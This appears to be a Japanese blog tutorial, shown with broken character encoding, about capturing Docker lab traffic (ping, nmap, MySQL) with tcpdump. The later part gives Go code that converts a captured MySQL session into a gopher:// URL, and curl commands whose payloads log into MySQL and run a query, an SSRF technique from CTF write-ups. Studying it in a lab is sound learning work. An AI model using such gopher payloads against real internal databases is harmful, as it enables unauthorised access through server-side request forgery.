dockerééä¿¡ãtcpdumpãã¦pcapãããã
IPFactory Advent Calendar 2019 14æ¥ç®ã®äºå®ã ã£ããç¹°ãä¸ãã¦6æ¥ç®(ã«ä»£ææç¨¿).
IPFactory 3å¹´ azaraã§ã
èªåã§æå³ãã¦ä½ã£ããã±ãããè¦ããã®ã¨CTF Writeupã§è¦ãæ»æææ³ã§é¢ç½ããã ã£ãGopherãããã³ã«ã§MySQLå©ãã¦ã¿ãã¨è¨ãã®ã試ãã¦ã¿ããã£ãã®ã§ãã®æ©ã«ãã£ã¦ã¿ãã
åææ å ±
åç§° | ãã¼ã¸ã§ã³ |
---|---|
macOS | Catalina 10.15.1 |
Docker | version 19.03.5, build 633a0ea |
Go | Docker golang:latest |
ç®æ¬¡
- åææ å ±
- ç®æ¬¡
- ããããªéä¿¡ãçºãã
- Goã§Gopherãããã³ã«ãæµãã³ã¼ããæ¸ã
ããããªéä¿¡ãçºãã
æºå
ã¾ãã¯docker-compose
,client/Dockefile
,app/Dockefile
ãæ¸ãã¦ãããåå人ã§golangã®å
¥ã£ãapp
ã¨client
ãç¨æãã¦ããã£ã¦ãMySQLãç¨æãã¦ããããã°ããã§ãã
åã使ã£ãã®ã¯ãã¡ã
Fileæ§é
. âââ app â âââ Dockerfile â âââ src âââ cap âââ client â âââ Dockerfile â âââ src âââ db âââ docker-compose.yml
docker networkã®ä½æ
dockerã®IPåºå®ã®ããã«DockerNetworkã使
docker network create \ --subnet 192.168.208.0/24 \ --gateway 192.168.208.254 \ docker-pcap
docker-compose.yml
version: "3" services: db: image: mysql:5.7 container_name: mysqlhost networks: docker-pcap: ipv4_address: 192.168.208.2 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: test_database MYSQL_USER: docker MYSQL_PASSWORD: docker TZ: "Asia/Tokyo" command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci volumes: - ./docker/db/data:/var/lib/mysql - ./docker/db/my.cnf:/etc/mysql/conf.d/my.cnf - ./docker/db/sql:/docker-entrypoint-initdb.d ports: - 3306:3306 client: restart: always container_name: "client" build: ./client tty: true networks: docker-pcap: ipv4_address: 192.168.208.3 command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/client.pcap links: - db:mysqlhost volumes: - ./cap/:/tmp/cap app: restart: always build: ./app container_name: "app" working_dir: "/root/" ports: - 80:80 tty: true networks: docker-pcap: ipv4_address: 192.168.208.4 command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/app.pcap volumes: - ./cap/:/tmp/cap networks: docker-pcap: external: name: docker-pcap
client/Dockerfile
FROM golang:latest RUN apt update RUN apt -y install locales && \ localedef -f UTF-8 -i ja_JP ja_JP.UTF-8 ENV LANG ja_JP.UTF-8 ENV LANGUAGE ja_JP:ja ENV LC_ALL ja_JP.UTF-8 ENV TZ JST-9 ENV TERM xterm RUN apt install -y nmap curl git wget tcpdump ltrace strace COPY ./src /go/src/app WORKDIR /go/src/app RUN go get github.com/go-sql-driver/mysql RUN go build .
app/Dockerfile
FROM golang:latest RUN apt-get update RUN apt-get -y install locales && \ localedef -f UTF-8 -i ja_JP ja_JP.UTF-8 ENV LANG ja_JP.UTF-8 ENV LANGUAGE ja_JP:ja ENV LC_ALL ja_JP.UTF-8 ENV TZ JST-9 ENV TERM xterm RUN apt update -y && apt upgrade -y && apt install -y tcpdump COPY ./src /go/src/app WORKDIR /go/src/app
Pingãçºãã
ããã¾ã§ãããdocker-compose up -d
ã§app
ã¨client
ãå®è¡ãã¦çé確èªããã¦ããã
åIPã®å¯¾å¿è¡¨
name | IP |
---|---|
mysqlhost(db) | 192.168.208.2 |
client | 192.168.208.3 |
app | 192.168.208.4 |
⯠docker-compose exec client ping 192.168.208.4 -c 5 PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data. 64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.259 ms 64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.118 ms 64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.141 ms 64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.121 ms 64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.119 ms --- 192.168.208.4 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4162ms rtt min/avg/max/mdev = 0.118/0.151/0.259/0.056 ms
çéã®ç¢ºèªãã§ããã®ã§ãdocker-compose stop
ã§ãµã¼ãã¼ãæ¢ããã£ããã£çµæãè¦ã¦ã¿ããã
赤æ ã§å²ã£ãç®æãä»åéã£ãpingã®ç¯å²ã
æ®æ®µçé確èªç¨åº¦ã§ããpingãéã£ã¦ããªãã£ãã詳ããè¦ã¦ã¿ãã¨dataãéããããã ã£ãã®ã§è©¦ãã«éã£ã¦ã¿ããã¨æãã
pin data
ããã§ãã£ããã£ããpcapã¯(app|client)_ping.pcap
ã¨ãã¦ä¿åãã¦ããã
å®éã«éã£ã¦ã¿ã
#ã²ã¨ã¾ãé©å½ãªå¤ãpad-byte(-p)ã«è©°ãè¾¼ã ⯠docker-compose exec client ping 192.168.208.4 -c 5 -p ff61ff62ff63ff65 PATTERN: 0xff61ff62ff63ff65 PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data. 64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.174 ms 64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.127 ms 64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.144 ms 64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.155 ms 64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.141 ms --- 192.168.208.4 ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4151ms rtt min/avg/max/mdev = 0.127/0.148/0.174/0.017 ms
ããã¨ãã¼ã¿ã«ã¯æ¬¡ã®ãããªçµæãåºã¦ãã
48bytesã«ãªãã¾ã§ãã¿ã¼ã³ã¨ãã¦è©°ããããff61ff62ff63ff65
ã確èªã§ããã
次ã«packetsizeã大ãããã¦ã¿ããã©ããªãã®ã?ã¨æãæãã¤ãã¦ã¿ãã
⯠docker-compose exec client ping 192.168.208.4 -c 1 -s 65467 PING 192.168.208.4 (192.168.208.4) 65467(65495) bytes of data. 65475 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=2.82 ms --- 192.168.208.4 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 2.826/2.826/2.826/0.000 ms
IPv4ã1514bytes(å dataã¯1480bytes)ãé£ç¶ãã¦éãICMP(echo request)ãéä¸ã§éããæå¾ã«ICMP(echo reply)ãè¿ãã¦ããã
pcap file
IPv4ã§éä¿¡ãããdata(ä¸é¨æç²)
ãã¼ã¿éä¿¡é¢ä¿ã¯ã²ã¨ã¾ããã®ãããã«ãã¦docker-compose stop && docker-compose rm
ãå®è¡ãã¦ã³ã³ãããæ¶ãã¦ããã
Nmapã®ã¹ãã£ã³ãçºãã
次ã¯Nmapãå®è¡ãã¦ã©ã®ãããªåãããã¦ãããã¿ã¦ãããã
ã¯ããã«ä¸ã¤ã®ãã¼ããã¹ãã£ã³ãã¦ã¿ãã
⯠dcexec client nmap -p 80 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00016s latency). PORT STATE SERVICE 80/tcp closed http MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
ãã¼ããåä½ã®å ´åã¯ARPãæµãã¦ãäºåº¦80çªãã¼ãã«ã¹ãã£ã³ãããã¦ããããªãäºåº¦ãã¼ãã¹ãã£ã³ããã¦ããã®ããæ¤è¨¼ã¯å¾æ¥ã«ããã
ããã§ã¯80ã¨443ãã¹ãã£ã³ããå ´åã©ããªãã®ãï¼
⯠dcexec client nmap -p 80,443 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00014s latency). PORT STATE SERVICE 80/tcp closed http 443/tcp closed https MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
2ã¤ã®å ´åã¯ä¸ã¤ä¸ã¤ã®ãã¼ãã«æµãè¾¼ãã§ããã
ããã§åå¾ããpcapã¯(app|client)_nmap80,443.pcap
次ã«1-10ã®10åã®ãã¼ãã«å¯¾ãã¦ã¹ãã£ã³ããã¦ããã
⯠dcexec client nmap -p 1-10 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.000085s latency). PORT STATE SERVICE 1/tcp closed tcpmux 2/tcp closed compressnet 3/tcp closed compressnet 4/tcp closed unknown 5/tcp closed rje 6/tcp closed unknown 7/tcp closed echo 8/tcp closed unknown 9/tcp closed discard 10/tcp closed unknown MAC Address: 02:42:C0:A8:D0:04 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
ä¸è¦åãªé åºã§ãã¼ãã¹ãã£ã³ããã¦ããã
ä¸è¦åãªé åºã«ããªãå ´åã¯-r
ãã¤ãããã¨ã§è§£æ±ºãããã
⯠dcexec client nmap -r -p 1-10 192.168.208.4 ~~ç¥~~ Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
次ã«-A
ãã¤ãã¦æ¤æ»ãããã
⯠dcexec client nmap -A 192.168.208.4 Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC Nmap scan report for app.docker-pcap (192.168.208.4) Host is up (0.00013s latency). All 1000 scanned ports on app.docker-pcap (192.168.208.4) are closed MAC Address: 02:42:C0:A8:D0:04 (Unknown) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.13 ms app.docker-pcap (192.168.208.4) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds
ã¯ããã¯é常ã®ã¹ãã£ã³ã®ããã«ã©ã³ãã ã«ãã¼ããã¹ãã£ã³ããã
ãã¼ãã¹ãã£ã³çµäºå¾ã«1çªã«å¯¾ãã¦ä½åº¦ãtcpéä¿¡ã®åéã¿ã¤ã ã¢ã¦ã(TCP Retransmission)ãéè¤ããACK(TCP Dup ACK)ã帰ã£ã¦ãã¦ããã
MySQLã¨ã®ããã¨ããçºãã
ç¶ãã¦MySQLã®ããã¨ããã¿ã¦ããã
client/src/main.go
package main import ( "database/sql" "log" _ "github.com/go-sql-driver/mysql" ) var ( dbms = "mysql" credential = "docker:docker" testuser = "test_user" access = "tcp(db:3306)" dbname = "test_database" ) func main() { mysqlaccess := fmt.Sprintf("%v@%v/%v", credential, access, dbname) db, err := sql.Open(dbms, mysqlaccess) if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } defer db.Close() }
軽ãgoã§æ¥ç¶ç¨ã®ã³ã¼ããæ¸ãã¦éä¿¡ãè¦ã¦ããã
docker-compose build docker-compose up -d docker-compose exec client ./app docker-compose stop docker-compose rm [y]
å
ã»ã©æ¸ããã³ã¼ãã®ä¸ã§ãServerã«æ¨æ¶ -> login -> db ping -> quit
ã¨ããä¸é£ã®æµãããã¦ããã
3way hand shake
server greeting
MySQLãããã³ã«ã¯ãã¯ããã«æ¬¡ã®ãããªæ¨æ¶ã交ããã¾ãã
ä»åã®å ´åã¯ãèªè¨¼æ¹å¼ã¯mysql_native_password
ã§å種saltãªã©ãclientã«éãéä¿¡ãå§ãã¾ãã
Login Request
ãã¹ã¯ã¼ãã¯å ã»ã©åãåã£ãsaltãç¨ããããã·ã¥ãéä¿¡ããã
ã³ã¼ãå é¨ã§dbnameãæå®ãã¦ããã®ã§ãä»åã¯Schemaã«ååãå ¥ã£ã¦ããã
Response Ok & Ping & Quit
Request OK
æ¤è¨¼ããã®ã¦ã¼ã¶ã¼ãæ£ããå ´åã¯ãã®ã¡ãã»ã¼ã¸ãè¿ãã
Quit
ãã®MySQLãããã³ã«ã«ã®ã£ã¨ã£ã¦ã³ãã³ããMySQLã®æä½ãããã
client/src/main.go
// ~~åç¥~~ if err != nil { panic(err) } err = db.Ping() if err != nil { panic(err) } _, err = db.Query("select @@version_comment limit 1") if err != nil { panic(err) } defer db.Close() }
Query
Response
ããã§åå¾ããpcapãclient_mysql.pcap
ã¨ãã¦ä¿åãã¦ãã
Goã§Gopherãããã³ã«ãæµãã³ã¼ããæ¸ã
使ãã©ã¤ãã©ãªã¯ https://github.com/google/gopacket
ã¾ãã¯æå§ãã«MySQLã®éä¿¡ãGopher schemaã«å¤æããã³ã¼ããæ¸ãã
Gopher schemaã§éä¿¡ãè¡ãå ´ågopher://host:port/_tcp stream(%Encoding)
ã«ãªãã®ã§ãã®å½¢å¼ã«æ´å½¢ããªããã°ãããªãã
ä¾: MySQLã®ã¯ã©ã¤ã¢ã³ãå´ã®TCPã¹ããªã¼ã
ã³ã¼ãã«ããã¨ãããªæã
src/main.go
package main import ( "fmt" "strings" "github.com/google/gopacket/layers" "github.com/google/gopacket" "github.com/google/gopacket/pcap" ) var ( pcapfile = "../cap/client_mysql.pcap" mysqlhost = "192.168.208.2" client = "192.168.208.3" ) func main() { pcaphandle, err := pcap.OpenOffline(pcapfile) if err != nil { panic(err) } defer pcaphandle.Close() packetSource := gopacket.NewPacketSource(pcaphandle, pcaphandle.LinkType()) //displayPacket(packetSource) convGopher(packetSource) } func convGopher(packetSource *gopacket.PacketSource) { var gopherpayload map[string]string gopherpayload = map[string]string{client: "", mysqlhost: ""} for packet := range packetSource.Packets() { ipv4l := packet.Layer(layers.LayerTypeIPv4) tl := packet.Layer(layers.LayerTypeTCP) ipv4, _ := ipv4l.(*layers.IPv4) if tl == nil || packet.ApplicationLayer() == nil { continue } tcp, _ := tl.(*layers.TCP) if tcp.FIN { break } if (client == ipv4.SrcIP.String() && mysqlhost == ipv4.DstIP.String()) || (mysqlhost == ipv4.SrcIP.String() && client == ipv4.DstIP.String()) { gopherpayload[ipv4.SrcIP.String()] += stringRawData(packet.ApplicationLayer().Payload(), "%", "") } } fmt.Printf("Gopher : \ngopher://%v:3306/_%v\n", mysqlhost, gopherpayload[client]) } func stringRawData(payload []byte, hexTop, joinString string) (raw string) { var hexs = make([]string, len(payload)) for i, v := range payload { hexs[i] = fmt.Sprintf("%s%02x", hexTop, v) } raw = strings.Join(hexs, joinString) return raw }
ãã®ç¶æ ã§æ¥ç¶èªä½ãå¯è½ãã確ããã¦ã¿ãã
⯠pwd /<file path>/docker-lab/src ⯠go run . Gopher : gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31 ⯠docker-compose build && docker-compose up -d ~~ ä¸ç¥~~ Successfully built 50d1b4d43281 Successfully tagged docker-ssrf_app:latest mysqlhost is up-to-date app is up-to-date client is up-to-date ⯠docker-compose exec client curl gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0 a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% 00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a %8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%6 5%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31 J 5.7.28dEX 5~|�����*[{g8+ubHmysql_native_passwordN�#28000Access denied for user 'docker'@'192.168.208.3' (using password: YES)
ä»åã®å ´åMySQLã«ãã¹ã¯ã¼ããããã£ã¦ããã®ã§ããã¹ã¯ã¼ãèªè¨¼ããã»ã¹ãæã¾ããã
MySQLã®ãã¹ã¯ã¼ãèªè¨¼ããã»ã¹ã¯æ¬¡ã®ãããªå½¢ã¨ãªãã
- ãµã¼ãã¼ã«æ¨æ¶
- ãã£ã¬ã³ã¸ã¬ã¹ãã³ã¹ã®ããã®ã½ã«ããéä¿¡
- ã¯ã©ã¤ã¢ã³ãã¯ãã®ã½ã«ãã¨ãã¹ã¯ã¼ããå ã«ã¬ã¹ãã³ã¹ãçæ
- ã¬ã¹ãã³ã¹ãéä¿¡å¾ããDBã®æä½ãå¯è½ã¨ãªã
ãã®å ´åMySQLãé対話形å¼ã§å©ãã¦ãMySQLã¯åä½ãã¾ããã
次ã«ãã¹ã¯ã¼ããªãã§ãã£ã¦ã¿ãã
client/src/main.go
//~~~åç¥~~~ 20è¡ç® mysqlaccess := fmt.Sprintf("%v@%v/%v", testuser, access, dbname) //~~~ä¸ç¥~~~ 31è¡ç®ãã quitã³ãã³ãéä¿¡ã®ãã rows, err := db.Query("select @@version_comment limit 1") if err != nil { panic(err) } err = rows.Close() if err != nil { panic(err) } //~~~å¾ç¥~~~
å®è¡
docker-compose build docker-compose up -d docker-compose exec db mysql -r -e "create user 'test_user'@'192.168.208.3';grant all on *.* to 'test_user'@'192.168.208.3';" test_database docker-compose exec client ./app docker-compose stop docker-compose rm [y]
次ã®ãã®pcapãå ã«gopherãçæããã
⯠go run . Gopher : gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01
ãã®å¾å®è¡ãããã¨æ¬¡ã®ããã«è¡¨ç¤ºãããã
> docker-compose build docker-compose up -d docker-compose exec client curl gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01 J 5.7.28~Sx. n?m�����X06Qu;c<5mysql_native_password'def@@version_comment -p��MySQL Community Server (GPL)� > docker-compose stop docker-compose rm [y]
dumpããpcapã確èªããã¨å®éã«MySQLãããã³ã«ã§éä¿¡ããã¦ãããã¨ããããã
以ä¸ï¼
åè
Docker doc
TCP Error
gopacketã§pcapãèªã¿è¾¼ã
gopacket
SSRFæ»å»MySQL